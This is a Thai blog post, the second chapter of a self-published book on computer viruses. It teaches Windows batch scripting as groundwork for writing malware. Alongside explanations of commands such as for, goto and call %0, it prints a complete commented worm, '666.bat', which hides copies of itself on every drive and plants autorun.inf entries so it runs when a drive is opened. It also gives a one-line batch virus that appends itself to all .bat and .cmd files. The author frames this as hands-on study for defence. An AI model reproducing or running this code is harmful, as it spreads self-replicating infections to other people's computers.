ย้ายบ้านแล้วครับ...
Group Blog
 
All Blogs
 

ไวรัสคอมพิวเตอร์ใกล้ตัวกว่าที่คุณคิด ภาค 2


เขียนไวรัสมันยากกว่าเขียนหนอนยังไง
เอาล่ะ...ไม่ได้เจอกันซะนาน...หายไปทำภาระกิจส่วนตัว...และแล้วมันก็จบ
ครับ...หนังสือ...หนังหา...เลิกแต่งดีกว่า...เพราะไม่รู้ว่าเราส่งต้นฉบับไป...
เขาจะนำไปลิขสิทธิ์ของเขาหรือเปล่า บอกว่า เครดิต 3 เดือน...โอย...ป่าน
นั้นผมคงถูกเขาจดลิขสิทธิ์ไปแล้ว...เลยแก้เผ็ดด้วยการโพสต์หนังสือทั้งเล่ม
ผ่านทางเวปบล็อกซะเลย...ทีนี้ใครอยากละเมิดลิขสิทธิ์ก็ปิดเวปบล็อกผม
ก่อนแล้วกัน...
ผู้อ่านจะได้รับผลประโยชน์มากกว่าด้วย...ไม่ต้องซื้ออ่าน...ปริ้นท์มันที่บ้าน
คุณนั้นแหละ...ขนาดเกมส์ไพ่ป็อกเขียนมาตั้งแต่สมัยอยู่ ปวส. ตอนนั้นว่า
มันเขียนยากแล้วนะ...ยังโพสต์ Source code ให้ผู้อ่านไปเขียนเล่นกันฟรีๆ
สมัยนั้นใช้ Fox Pro DOS เขียน คุณคิดว่ามันยากแค่ไหน... ตอนนี้มันทำงาน
บน วินโดวส์ เขียนไม่ถึงวันก็เสร็จ

เอาล่ะ มาเขาเรื่องกันดีกว่า...

มัลลิคอยอัส ซอฟต์แวร์ หรือ Malware นั้น จำแนกได้หลายประเภท แต่ที่
ผู้ใช้คอมพิวเตอร์ แยกแยะกันไม่ค่อยจะออกกันซะเลยคือ ไวรัส กับ หนอน
คอมพิวเตอร์ ถ้าคุณเองเป็นผู้ถูกเล่นงานล่ะก็...ไม่สำคัญหลอกว่ามันจะเป็น
อะไร...แต่เกลียดมันอย่างเดียว...แต่ถ้าคุณเป็นผู้เขียนหรือผู้ที่ศึกษาด้าน
ความปลอดภัยระบบ...ขอบอกว่ามันจำแนกอย่างนี้
1. ไวรัสสามารถแพร่ตัวมันเองไปกับหนอนได้
2. หนอนคอมพิวเตอร์ไม่สามารถแพร่เชื้อใส่ไวรัสได้แต่อาศัยในม้าโทรจัน
ได้
3. ไวรัสสามารถฝั่งตัวในหนอน...และม้าโทรจันได้โดยไม่ต้องรอการเรียก
ใช้จากหนอนหรือม้าโทรจัน หรืออาศัยฝั่งอยู่ในรูปแบบของคำสั่งทำลายได้

อ่ะมาเข้าสู่...ปฐมภูมิของ แบทไฟล์ไวรัส

กรณีศึกษาเพื่อทำความเข้าใจเกี่ยวกับคำสั่งไวรัส
1. หนอนและไวรัสแบทช์ไฟล์
เจาะลึก DOS Batch File (ปูพื้นฐานการศึกษามัลแวร์)
Batch File คืออะไร...มันคือชุดคำสั่งที่รวบรวมคำสั่งบน Command Line (หรือคำสั่งบน หน้าต่าง Cmd ของ วินโดวส์ XP) ซึ่งในอดีต...DOS สร้างขึ้นมาเพื่อเป็นเมนูลัดบนระบบปฏิบัติการรุ่นโบราณที่ทำงานอยู่บน "คอนโซล(แป้นพิมพ์และจอภาพ)" เช่นการ CD DOS คือการเข้าไปยัง Directory DOS หากจะพิมพ์ข้อความเหล่านั้นทั้งหมด...บ่อยๆ ครั้ง จะทำให้เสียเวลา DOS จึงให้สามารถนำคำสั่งที่ใช้บ่อยๆ มาบันทึกเป็นแฟ้มข้อความที่มีนามสกุล .BAT เพื่อให้สามารถพิมพ์ชื่อแฟ้ม .BAT นั้นและตามด้วย Enter ก็สามารถเรียกใช้คำสั่งทั้งหมดในนั้นได้คำสั่งเพียงคำสั่งเดียวคุณเองจำมันได้ จะกลายเป็นเส้นทางลัดและคำสั่งแบบซับซ้อน
ซึ่งตัวของ Batch File เองสามารถทำงานอะไรได้บ้าง...โอย...มันทำงานได้มากจนคุณเองคาดไม่ถึงเลย...ตั้งแต่การล็อกระบบ, ตรวจสอบข้อมูล Error หรือ, เขียนไวรัส...(อันสุดท้ายนี้ไม่ค่อยชอบนะแต่คุ้นเคย) และผู้อ่านที่บางคนไม่เคยแตะ...DOS มาก่อนจะศึกษาได้หรือเปล่า...ได้ครับ...แต่ต้องมีพื้นฐานต้องหาอ่านกันหน่อย ในหนังสือเล่มนี้จะอธิบายเฉพาะคำสั่งที่สำคัญๆ เท่านั้น...เพราะเกรงว่าถ้าอธิบายทุกๆ คำสั่งของ DOS เนื้อหาของหนังสือจะไม่พอครับ...
เอาล่ะ...ปูพื้นกันใหม่ด้วย DOS บนวินโดวส์เอ็กซ์พี...
DOS ที่ทำงานบนวินโดวส์ 32 บิต มันจะขยายการทำงานของ Environment Memory ที่คุณใช้กำหนดตัวแปรด้วยคำสั่ง SET และมันก็ทำงานร่วมกับชื่อแฟ้มข้อมูลที่มีขนาดยาวๆ ได้สบาย รวมถึงบรรจุคำสั่งภายใน (Internal Command) เอาไว้ในระบบวินโดวส์ ครับ...เป็นผลให้ตำรา DOS ที่คุณเคยเปิดอ่าน...เก็บมันใส่ลังได้เลยเพราะคำสั่งใหม่ๆ เพิ่มเข้ามาเพียบ...ผมเองก็นำมาสอนได้ไม่ทุกคำสั่งครับ...แต่มีรายชื่อคำสั่งภายใน (Internal Command) ให้คุณดูเล่นๆ ดังนี้ ASSOC, AT, ATTRIB, BREAK, CACLS, CALL, CD, CHCP, CHDIR, CHKDSK,CHKNTFS, CLS, CMD, COLOR, COMP, COMPACT, CONVERT, COPY, DATE,DEL, DIR, DISKCOMP, DISKCOPY, DOSKEY, ECHO, ENDLOCAL, ERASE,EXIT, FC, FIND, FINDSTR, FOR, FORMAT, FTYPE, GOTO, GRAFTABL,HELP, IF, LABEL, MD, MKDIR, MODE, MORE, MOVE, PATH, PAUSE, POPD, PRINT, PROMPT, PUSHD, RD, RECOVER, REM, REN, RENAME, REPLACE,RMDIR, SET, SETLOCAL, SHIFT, SORT, START, SUBST, TIME, TITLE, TREE, TYPE, VER, VERIFY, VOL, XCOPY นี้คือคำสั่งที่สามารถทำงานได้ทุกเวลาที่ วินโดวส์ทำงานครับ ไม่เหมือนกับ (External Command) เช่น EDIT.EXE, FDISK.EXE ซึ่งไวรัสเองสามารถลบแฟ้มคำสั่งเหล่านั้นทิ้ง ส่งผลให้ใช้คำสั่งนั้นไม่ได้ ตัวอย่างคือถ้าไวรัสลบแฟ้ม REG.EXE ทิ้งไปซะ จะทำให้ไม่สามารถแก้ไขระบบรีจีสตรีย์ ของวินโดวส์ได้ใน DOS Command และถ้าไวรัสลบแฟ้ม REGEDIT.EXE, REGEDIT32.EXE ทิ้งไปอีก ก็ไม่สามารถเข้ารีจีสตรีย์ ในวินโดวส์ได้เลย ทำให้การฆ่าไวรัสยากขึ้นอีกมาก อย่างไรก็ดี คุณรู้แล้วควรสำรองแฟ้มเหล่านี้เก็บเอาไว้เพื่อไม่ให้ถูกเล่นงานจากไวรัสแบบเซียน
คำสั่งบน DOS นั้น ประกอบด้วย...
[คำสั้งDOS]วรรค[/ พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น DIR /AS C:WINDOWS
หรือ
[คำสั่งDOS]วรรค[+- พารามิเตอร์]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น ATTRIB +R +H +S C:AUTOEXEC.BAT
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย]วรรค[ที่อยู่แฟ้มข้อมูลหรือโฟลเดอร์]
เช่น REG QUERY HKLMSYSTEM
หรือจะดูรูปแบบคำสั่งในตัวช่วย
[คำสั่งDOS] /?
เช่น COPY /?
หรือ
[คำสั่งDOS]วรรค[คำสั่งย่อย] /?
เช่น REG QUERY /?
DOS จะมีอุปกรณ์เชื่อมต่อที่สำคัญอยู่ 5 แฮนเดิล...
ซึ่งทำงานเสมอ..โดยไม่มีโปรแกรมใดเข้าไปแตะต้อง...นอกจากยืมใช้งาน
1. อุปกรณ์ "CON" ใช้อ้างถึงเมื่อต้องการติดต่อจอภาพกับคีย์บอร์ด
2. อุปกรณ์ "AUX" ใช้อ้างถึงเมื่อต้องการติดต่อพอร์ตสื่อสารอนุกรม
3. อุปกรณ์ "PRN" ใช้อ้างถึงเมื่อต้องการติดต่อเครื่องพิมพ์ (Default)
4. อุปกรณ์ "LPT" ใช้อ้างถึงพอร์ตขนาน
5. อุปกรณ์ "NUL" ใช้อ้างถึงเมื่อไม่ต้องการส่งข้อมูลไปที่ใดเลยผลทำให้การแสดงผลของคำสั่งไม่มีหรือหายไป...
คำสั่งเชื่อมต่อ หรือ "ไปป์ปิ้ง ; Piping"
และคำสั่งที่จะอ้างถึงอุปกรณ์เหล่านั้นเราเรียก "ท่อ Pipe" หรือคำสั่ง "ไปป์ปิ้ง" มีอยู่ 5 คำสั่งคือ
1. | "เชื่อมต่อ" คำสั่งนี้เป็นคำสั่งไปป์ตัวจริงใช้เชื่อมคำสั่ง DOS 2 คำสั่งให้ทำงานพร้อมกัน 2 คำสั่งอย่างมากเท่าที่ทำงานมา) แต่คำสั่งนี้ทำงานได้ตั้งแต่ DOS 5 เป็นต้นมาแต่มีข้อเสียคือถ้าจะใช้คำสั่งนี้...ห้ามใช้กับอุปกรณ์ ROM เช่น CD-ROM กล่าวคือคำสั่งต้องอาศัย Temporary ในการทำงานจึงไม่สามารถทำงานกับอุปกรณ์ที่ป้องกันการเขียนได้
2. > "ยิงออก" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพไปยังอุปกรณ์ทั้ง 5
3. >> "ยิงเพิ่ม" คำสั่งนี้เป็นคำสั่งส่งผลหน้าจอภาพเพิ่มเติมจาก "ยิงออก" ไปยังอุปกรณ์ทั้ง 5
4. < "รับเข้า" คำสั่งนี้เป็นคำสั่งส่งผลจากคำสั่งด้านหลังเข้ามา
5. & "และคำสั่ง" (ใช้ในวินโดวส์ XP ขึ้นไป) เนื่องจาก XP สามารถเขียนคำสั่ง DOS หลายคำสั่งในบรรทัดเดียวกันได้...(บางคนไม่รู้) และคำสั่งที่ใช้ในการเชื่อมต่อคำสั่งเหล่านั้นคือ (คำสั่งDOS) & (คำสั่งDOS) & (คำสั่งDOS)
ตัวอย่างคำสั่งที่น่าสนใจ
COPY CON A.BAT (หมายถึง "คัดลอกอุปกรณ์ CON ในชื่อ A.BAT")
พิมพ์คำสั่งลงไป...เพราะนี้คือแป้นรับคำสั่งแบบ Notepad แต่มันกลับไปแก้ไขบรรทัดบนไม่ได้...จบการทำงานด้วย Ctrl+Z
TYPE A.BAT >PRN (หมายถึง "พิมพ์ข้อความ A.BAT ไปที่ เครื่องพิมพ์")
มาดูการเขียนหนอนคอมพิวเตอร์กันซะเลย...
:: นี้คือแบทช์ไฟล์หนอนคอมพิวเตอร์ที่ทำงานบนวินโดวส์ 98 , วินโดวส์ Me และ วินโดวส์ XP
:: ส่งผลให้ทุกไดร์ฟของระบบติด Autorun.INF พร้อมแนบแฟ้ม 666.bat ซึ่งเป็นหนอนไปด้วย
:: หนอนนี้จะทำงานต่อเมื่อมีคนดับเบิ้ลคลิ๊กที่ไดร์ฟที่ติดหนอน...มันจึงเริ่มทำงานในทันที
@echo off
:: คำสั่งนี้คือการซ่อนบรรทัดคำสั่ง Command Line บนดอสไม่ให้แสดงการทำงาน
if not "%1"=="" goto Interface
:: คำสั่งนี้ไว้ตรวจสอบว่ามีการเรียกใช้ลูปการค้นหาไดร์ฟหรือไม่ถ้ามีจะไปที่ตำแหน่งติดเชื้อ
for %%d in (c d e f g h i j k l m n o p q r s t u v w x y z) do call %0 %%d
:: วนการทำงานจนกว่าครบทุกไดร์ฟ...และทำการเรียกตัวเองขึ้นมาโดยส่งข้อมูลเป็นชื่อไดร์ฟ
Start .
:: เข้าสู่หน้าต่างวินโดวส์ตามปกติ...เพื่อไม่ให้ผิดสังเกต
goto endbat
:: ไปที่ตำแหน่งสุดท้าย...เพราะหมดคำสั่งควบคุม
:Interface
:: นี้คือตำแหน่งเริ่มต้นติดเชื้อ
type 666.bat >%1:666.bat
:: คัดลอกแฟ้ม 666.bat ซึ่งเป็นหนอนไปยังทุกไดร์ฟที่พบ
attrib +s +h +r %1:666.bat > nul
:: กำหนดให้แฟ้มหนอน 666.bat เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
attrib -r -h -s %1:autorun.inf>nul
:: กำหนดคุณสมบัติของ Autorun.inf ถ้าพบจะแก้ให้เป็นแฟ้มปกติเขียนได้
echo [autorun] > %1:autorun.inf
:: ส่งข้อความ [autorun] ไปยังแฟ้ม Autorun.inf เพื่อสร้างคำสั่งหนอน
echo shellexecute=666.bat >>%1:autorun.inf
:: ส่งข้อความต่อท้ายในอีกบรรทัด shellexcute=666.bat เพื่อเรียกหนอนทำงานเมื่อ Autorun
attrib +s +h +r %1:autorun.inf > nul
:: กำหนดให้แฟ้ม Autorun.inf เป็นแฟ้มระบบและซ่อนตัวและห้ามเขียน
:endbat
:: สิ้นสุดคำสั่งหนอน
จำแนกคำสั่งที่สำคัญในแบทช์ไฟล์...
1. คำสั่ง @ (คำสั่งซ่อนบรรทัดคอมมานด์ไลน์) คำสั่งนี้ ใช้กำหนดหน้าคำสั่ง Echo Off ซึ่งก็ทำงานเหมือนกับคำสั่งนี้เช่นกันแต่ คำสั่ง Echo Off จะไม่มีผลต่อคำสั่งของมันเอง...จึงต้องอาศัยคำสั่ง @ นำหน้าอีกทีเพื่อซ่อนบรรทัดคอมมานด์ไลน์อีกที แต่ถ้าภายในคำสั่งของ แบทช์ไฟล์มีบรรทัดที่น้อยมาก ก็อาจจะใช้ @ นำหน้าคำสั่งเหล่านั้นได้เลยเพื่อให้ประหยัดเนื้อที่คำสั่ง เช่น
@cls
@dir /as /s
หรือ
@echo off
cls
dir /as /s
2. คำสั่ง : (คำสั่งกำหนดตำแหน่งของชุดคำสั่ง) คำสั่งนี้คือการกำหนด ลาเบล (Label) หรือตำแหน่งของชุดคำสั่งดอสแต่ละคำสั่ง ซึ่งบางครั้ง อาจใช้กำหนดลูปการทำงานของชุดคำสั่งในแบทไฟล์เพื่อให้ทำงานแบบไม่มีวันหยุด เช่น
@echo off
:loop
:: ตำแหน่งเริ่มต้น
echo Loop Command
:: แสดงข้อความ
pause
:: รอรับคีย์บอร์ดใดๆ
goto Loop
:: วนกลับไปที่ตำแหน่งเริ่มต้น
สำหรับ :: (คำสั่งนี้ไม่มีในตำราใดๆ ครับ) เพราะเป็นการประยุกต์ใช้ คำสั่ง : แต่ทำการซ้อนกัน 2 ตัว เพื่อให้มันไม่ถูกเรียกใช้งานจากแบทช์ไฟล์ จึงมีค่าเท่ากับคำสั่ง REM (Remark หรือ หมายเหตุ) คำสั่งนี้ถูกประยุกต์ใช้งานในคู่มือการสอนเขียนแบทช์ไฟล์ในยุคแรกๆ มาตั้งนานแล้ว...เช่น
:: นี้คือหมายเหตุ
หรือ
rem นี้คือหมายเหตุ
3. คำสั่ง goto (คำสั่งย้ายการทำงานไปยังลาเบลที่กำหนด) คำสั่งนี้มีผลต่อลาเบลที่อยู่ภายในแบทไฟล์นั้น...และในวินโดวส์เอ็กซ์พี นี้สามารถกำหนดให้มันรับอากิวเมนต์ของคำสั่ง IF ERRORLEVEL ได้ด้วย (ดูเงื่อนไขใน Help ของ ดอส) ในคำสั่ง : ที่ผ่านมาตำแหน่งถูกต้อง แต่ถ้าชื่อของตำแหน่งไม่ถูกต้อง เช่น
:loop
:: กำหนดตำแหน่งวนคำสั่ง
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto Looop
:: ไปยังตำแหน่ง Looop ซึ่งไม่มีอยู่ในคำสั่ง
@echo Error Me
:: คำสั่งนี้จะไม่สามารถทำงานได้
จากตัวอย่างคำสั่งของแบทช์ไฟล์ไม่สามารถทำงานได้สมบรูณ์ เพราะคำสั่ง Looop นั้นไม่มีอยู่เนื่องจากผู้เขียนเติม o (โอ) เพิ่มเข้าไปอีกตัวจึงทำให้อ่านตำแหน่งผิดพลาด เป็นผลให้คำสั่งที่ต่อท้ายลงมาไม่สามารถทำงานได้ แต่คำสั่ง goto นั้นมีข้อดีตรงที่ไม่แยกแยะตัวพิมพ์เล็กหรือพิมพ์ใหญ่ เช่น
:LooP
:: กำหนดตำแหน่งวนการทำงานเป็นตัวพิมพ์เล็กและพิมพ์ใหญ่
@echo Loop Command
:: แสดงข้อความเมื่อวนการทำงาน
@goto loop
:: ไปยังตำแหน่ง LooP โดยไม่สนใจตัวพิมพ์เล็กหรือพิมพ์ใหญ่
หมายเหตุ หากคำสั่งของแบทช์ไฟล์ทำงานไม่หยุด...ให้คุณกด {Ctrl+Break} เพื่อหยุดการทำงานของมัน
4. คำสั่ง if not "%1" == "" ทำคำสั่ง (คำสั่งตัดสินใจ ถ้า พารามิเตอร์ที่ 1 ไม่มีตัวอักษร ให้ทำ) คำสั่งนี้จะใช้ต่อเมื่อต้องการดูว่าพารามิเตอร์ที่ต่อท้ายแฟ้มแบทช์ไฟล์มีหรือไม่ เช่น สมมุติให้แฟ้มแบทช์ไฟล์นี้ชื่อ test.bat
C:>test command1
หมายถึง ส่งคำว่า command1 ไปประมวลผลในแฟ้มชื่อ test.bat และคำสั่งนั้นคือ %1 และหากสมมุติว่า เว้นวรรค และพิมพ์ command2 ต่อท้าย command1 ดูตัวอย่าง
C:>test command1 command2
คำว่า command2 จะถูกเรียกว่า พารามิเตอร์ที่ 2 แทนด้วย %2 ในทันที ซึ่งในแบทไฟล์นั้นสามารถรับได้สูงสุด 9 พารามิเตอร์ คือ %1 ถึง %9 ซึ่งก็มากดพอดู แต่หากแบทช์ไฟล์ของคุณต้องการพารามิเตอร์ที่มากกว่านั้น คงต้องศึกษาคำสั่ง shift เพิ่มเติมใน Help บนดอสของวินโดวส์เอ็กซ์พีกันอีกที
กลับมาที่ if not "%1" == "" (ให้ทำ) ว่ามันทำงานอย่างไร ในคำสั่ง If นั้นมีกิ่งก้านสาขาของคำสั่งที่มากครับ...ผมเองก็ไม่สามารถนำมาอธิบายให้ได้หมด...แต่ถ้าต้องการศึกษาให้ลึกซึ้งคงต้องพึ่งพา Help กันนะครับ...ทีนี้มาดูซิว่าทำไม่ if "%1" == "" (ให้ทำ) หรือ if not "%1" == "" (ให้ทำ) ถึงต้องมีเครื่องหมาย "" (อัญประกาศ) กำหนดพารามิเตอร์ที่ 1 ทั้งนี้ทั้งนั้นเป็นเพราะว่า if %1 == (ให้ทำ) จะเห็นว่าชุดคำสั่งไม่สมบรูณ์ ถ้าบอกดอสให้ทราบว่า %1 นั้นต้องการเปรียบเทียบกับอะไรอยู่ เพราะ ถ้าคุณเว้นว่างเอาไว้เฉยๆ จะทำให้ดอสทำงานผิดพลาดนั้นเอง ซึ่งโดยปกติแล้ว if %1 == %2 (ให้ทำ) จะสามารถเปรียบเทียบกันได้ทันที...โดยไม่ต้องระบุเครื่องหมายอัญประกาศหรือเครื่องหมายอื่นๆ นำหน้ามันเพราะ แบทช์ไฟล์เป็นภาษาสคริปที่ประมวลข้อความ (การประมวลผลการคำนวนนั้นเพิ่งจะเริ่มมีในวินโดวส์เอ็กซ์พีเป็นต้นมา) จากตัวอย่างพอจะอธิบายออกมาเป็นรูปแบบดังนี้
@if "%1" == "" echo มีการกำหนดพารามิเตอร์ที่ 1
:: ถ้าพารามิเตอร์ที่ 1 ไม่มีข้อความแสดงข้อความ
@if not "%1" = "" echo ไม่มีการกำหนดข้อความ
:: ถ้าพารามเตอร์ไม่มีข้อความแสดงข้อความผิดพลาด
หรือ
@if "%1" == "" (echo กรุณาระบุข้อความ ) else (echo ข้อความคือ %1)
:: เงื่อนไขนี้ใช้บนวินเอ็กซ์พีขึ้นไปเพราะดอสรุ่นเก่าๆ ไม่สามารถกำหนดเงื่อนไขแบบนี้ได้
อย่างไรก็ดี...ผมก็อยากจะบอกน้องๆ นักศึกษาที่ไม่ได้เรียนรู้ภาษาคอมพิวเตอร์มาก่อนหรืออาจจะเคยเรียนแต่ยังไม่คล่องเกี่ยวกับเงื่อนไขการคำนวนของภาษาคอมพิวเตอร์ว่า ... คำสั่ง IF... ELSE ... นั้นเป็นหัวใจสำคัญของทุกๆ ภาษาในการเขียนโปรแกรมคอมพิวเตอร์ ฉนั้น...ควรทำความเข้าใจอย่างมากในการศึกษาเงื่อนไขของคำสั่งนี้...ไม่ใช่เพื่อการเขียนไวรัสเท่านั้น...แต่มันเป็นเงื่อนไขสำคัญในการเขียนโปรแกรมฆ่าไวรัสด้วย...คำสั่งนี้คำสั่งเดียวสามารถทำให้โปรแกรมมีขนาดยาวหรือสั้นหรือทำงานได้รวดเร็วกว่า ผู้ที่เขียนโปรแกรมด้วยกัน
5. คำสั่ง for %%ตัวแปร in (ชุดข้อมูล) do ทำคำสั่ง (สำหรับ %%ตัวแปร จาก ชุดข้อมูล ทำ คำสั่ง) คำสั่งนี้มีไว้สำหรับการประมวลผลแบบหลายข้อมูลภายในคำสั่งเดียว เช่น
@for %%l in (bat vbs js) do dir *.%%l
:: สำหรับ ตัวแปร l ให้ dir แฟ้มนามสกุล *.bat, *.vbs และ *.js
จะเป็นการทำงานกับหลายแฟ้มหรือหลายๆ ชุดข้อมูล โดยต้องเว้นวรรค ขั้นแต่ละชุดข้อมูลเอาไว้ และใช้ตัวแปร %%l ซึ่งต้องมีเครื่องหมาย %% นำหน้าเพื่อบ่งบอกว่าเป็นตัวแปรที่มาจากชุดคำสั่ง for ถ้าไม่บ่งบอกให้ถูกหลักอาจจะทำให้คำสั่งทำงานผิดพลาดอย่างมาก มาดูตัวอย่างอีกตัวอย่างเพื่อความกระจ่างอีกที เช่น
@for %%d in (a b c d e f g h i j k l m n o p q r s t u v w x y z) do if exist %%d:autorun.inf echo %%d: Werning!
:: สำหรับตัวแปร d ถ้าพบแฟ้ม (ตัวแปร d แทนไดร์ฟข้อมูล):autorun.inf แสดงข้อความเตือน (ตัวแปร d แทนไดร์ฟข้อมูล): Werning!
ซึ่งรูปแบบของคำสั่ง...ไม่มีอะไรซับซ้อน...เพียงแต่ต้องอ้างถึงรูปแบบของตัวแปรให้ถูกต้อง...ก็สามารถทำงานได้ตามเป้าหมาย สำหรับเงื่อนไขของคำสั่ง FOR เชิงลึก คือ FOR /F และเงื่อนไขอื่นๆ นั้นผมไม่ขออธิบายเพราะมันจะทำให้หนังสือเล่มนี้ดูเป็นหนังสือเชิงอ้างอิง...ซึ่งผมไม่ตั้งใจให้เป็นเช่นนั้น เพราะวัตถุประสงค์ของผมต้องการให้ผู้อ่าน ปฏิบัติและทดลองและเพื่อกระตุ้นการศึกษาค้นคว้าเพิ่มเติมต่อไป...จึงย้ำอีกทีว่าหนังสือเล่มนี้...เป็นเชิงปฏิบัติการณ์
6. คำสั่ง call %0 %%d (เรียกใช้แบทไฟล์ที่ทำงานอยู่ พร้อมส่งตัวแปรไปยังพารามิเตอร์ที่ 1) คำสั่งนี้จะทำให้แบทไฟล์เกิดการทำงานแบบ Overflow หรือ Error ได้เนื่องจาก ถ้าเขียนคำสั่งควบคุมนี้ไม่เป็นมันจะส่งผลให้หน่วยความเต็มได้...หรือเกิดการวนการทำงานของแบทไฟล์แบบไม่มีวันจบ เหมือนกับคำสั่ง goto เพียงแต่คำสั่งนี้จะส่งผลโดยตรงต่อหน่วยความจำ เช่น
@echo Me Activeting...
:: แสดงข้อความว่ากำลังทำงาน
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงานอีก
จากตัวอย่าง คำสั่งดังกล่าวจะทำงานแบบไม่มีวันจบ...รอจนกว่า ระบบปฏิบัติการณ์จะแสดงข้อความผิดพลาดในเรื่องการจัดการหน่วยความจำ หรือโปรแกรมอาจทำให้เครื่องค้างไปเลย จึงต้องระวังอย่างมากในการอ้างถึง %0 หรือ พารามิเตอร์ หลัก คือ ชื่อแฟ้มคำสั่งนั้นเอง ซึ่งโดยปกติแล้ว...จะไม่มีโปรแกรมแบทช์ไฟล์ใดอ้างถึงชื่อแฟ้มคำสั่งเพื่อมาประมวลผล...นอกเสียจากเป็น "มัลแวร์" หรือ "คำสั่งฆ่ามัลแวร์" จึงต้องแยกแยะให้ดีหากจะเขียนโปรแกรมฆ่าไวรัสจำพวกนี้....
มาดูตัวอย่างเพื่อทำความเข้าใจเกี่ยวกับการใช้คำสั่ง Call กันอีกตัวอย่าง เช่น
@echo Me Activeting...
:: แสดงข้อความ
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้ (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง ดูเหมือนว่า คำสั่งน่าจะทำงานแบบสิ้นสุด...แต่ไม่สิ้นสุดเพราะว่า คำสั่ง call จะถูกเรียกใช้ก่อน ทุกๆ ครั้งที่รันแบทซ์ไฟล์ จึงทำให้คำสั่ง %0 นั้นไม่สามารถทำงานได้...ในเครื่องที่ผมทดลองคือระบบปฏิบัติการวินโดวส์เอ็กซ์พีนั้น...มันจะแสดงหน้าต่างขึ้นมาสักพักและจะปิดตัวลง แต่ถ้าเรามาเขียนในทางกลับกัน เช่น
@echo Me Activeting...
:: แสดงข้อความ
@%0
:: กระโดดการทำงานไปยังแฟ้มที่เรียกใช้ คือ แฟ้มนี้
@call %0
:: เรียกแฟ้มนี้ขึ้นมาทำงาน (คำสั่งนี้ไม่มีโอกาสได้ทำงาน)
จากตัวอย่าง คำสั่งนี้จะไม่ปิดตัวเองลงไป...เพราะมันทำงานคล้ายคำสั่ง goto ส่งผลให้หน่วยความจำไม่ได้ถูกใช้ไปมากและการวนลูปการทำงานก็ยังดำเนินต่อไปอย่างไม่สิ้นสุด แต่ถ้าเราเพิ่มคำสั่งจัดการมันให้เต็มรูปแบบด้วยเงื่อนไข...จะทำให้มันทำงานได้อย่างราบรื่น เช่น
@echo Me Activeting...Parameter is %1
:: ถ้าไม่มีพารามิเตอร์ ใดๆ จะแสดงข้อความ Me Activeting...Parameter is
@if "%1" == "" %0 Again
:: ถ้าพารามิเตอร์ว่าง จะส่งคำว่า Again เป็นพารามิเตอร์ (และกระโดดการทำงานไปโดยไม่สนใจคำสั่ง ด้านล่าง)
@if "%1" == "Again" Call %0 End
:: ถ้าพารามิเตอร์เป็น Again จะเรียกแฟ้มนี้ใหม่ ส่งคำว่า End เป็น พารามิเตอร์ และจบการทำงานเพราะ ไม่มีเงือนไขการตัดสินใจ
เอาล่ะ...มาถึงตอนนี้ก็พอจะรู้เกี่ยวกับคำสั่งที่จำเป็นหมดแล้ว...เหลือแต่การประยุกต์คำสั่งดอสทั้งหมดมาเขียนเป็นมัลแวร์ ซึ่งไม่มีใครสามารถบอกได้หลอกว่า หนอนของใครเจ๋ง หรือไวรัสของใครร้ายกาจ เพราะมันไม่ใช่วัตถุประสงค์ของหนังสือเล่มนี้... ผู้เขียน เผยแพร่คำสั่งเหล่านี้เพื่อให้พวกคุณเป็น นักทดลองที่รู้ทั้งวิธีการทำงานของมันและวิธีป้องกันมันอย่างเต็มตัวเพราะการศึกษาเครื่องมือฆ่าคน หรือ วิชาชีพบางวิชาชีพนั้น...ก็ต้องศึกษาทั้งที่ไปที่มาของการแก้ปัญหาทั้งสิ้น หากจะเป็นวิสัญญีแพทย์ชั้นหนึ่ง...ไม่จำเป็นต้องลงมือฆ่าคน...แต่ต้องเรียนรู้จากคนที่โดนฆ่าหรือตายไปแล้ว...เพื่อเข้าใจหลักการตายและหลักการรักษาและป้องกันอย่างดี เช่นกันครับ...หนอนคอมพิวเตอร์ที่ได้ยกตัวอย่างไปนั้น...ขอให้นึกซะว่า...เป็นครูใหญ่ของพวกคุณแล้วกัน
อาวุธอันร้ายกาจไม่ใช่หนอน...แต่เป็นไวรัส!
เอาล่ะ...คุณหลายคนอาจจะอ่านเนื้อหาตอนต้นซึ่งเป็นนิยามต่างๆ ทางคอมพิวเตอร์กันบ้างแล้ว...แต่ตอนนี้มาทำการแยกแยะกันด้วยรูปแบบของคำสั่งว่า..."อะไรกันคือหนอนคอมพิวเตอร์ และอะไรคือไวรัสคอมพิวเตอร์" เริ่มเลย...
%virus%@echo off&cd&for /r %%f in (*.bat *.cmd) do ((findstr "virus" "%%f">nul)&(if errorlevel 1 (echo.>>"%%f"&findstr "virus" "%0">>"%%f" ))) ตัวอย่างด้านบนนี้แหละ...คือคำสั่งอันร้ายกาจ หรือเรียกมันว่า "ไวรัสคอมพิวเตอร์" เพียงบรรทัดเดียวมันสามารถทำให้คุณทึ่งกับการทำงานของมัน เพราะอะไร...ทำให้มันมีอะไรที่พิเศษกว่าหนอนคอมพิวเตอร์คือ
1. มันสามารถแทรกคำสั่งไวรัสคอมพิวเตอร์ไปยังหนอนคอมพิวเตอร์ได้เสียด้วย (โอ้...เป็นปาราสิตที่อาศัยหนอนคอมพิวเตอร์เป็นพาหะนำโรคได้ด้วย)
2. มันสามารถติดเชื้อแฟ้มคำสั่งที่ไม่ใช้หนอนคอมพิวเตอร์ได้ด้วยตัวของมันเอง...ไม่พึ่งพาใคร...ส่งผลให้แฟ้มที่ติดไวรัสเป็นพาหะนำโรคอีกต่อหนึ่งและยังไม่สามารถกำจัดมันได้โดยง่าย...เพราะมันเป็นส่วนหนึ่งในคำสั่งเหล่านั้น
